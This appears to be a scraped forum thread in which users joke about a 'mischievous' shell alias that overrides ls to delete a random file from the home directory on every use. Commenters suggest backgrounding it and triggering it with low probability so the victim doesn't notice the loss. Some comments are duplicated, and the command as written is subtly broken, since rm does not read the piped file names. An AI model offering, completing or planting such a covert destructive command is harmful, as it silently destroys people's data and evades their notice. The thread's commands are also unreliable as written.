This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.
the first command will take too long (and will be very obvious that something is wrong if it takes forever for ls to actually list everything), better run it in the background with &
Why not make it more mischievous?
alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.
You monster
lil trollin’
Jesus fucking Christ
the first command will take too long (and will be very obvious that something is wrong if it takes forever for
ls
to actually list everything), better run it in the background with &Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.
Russian Roulette Linux, the new distro using a coreutils implementation with a little trick
Calm down satan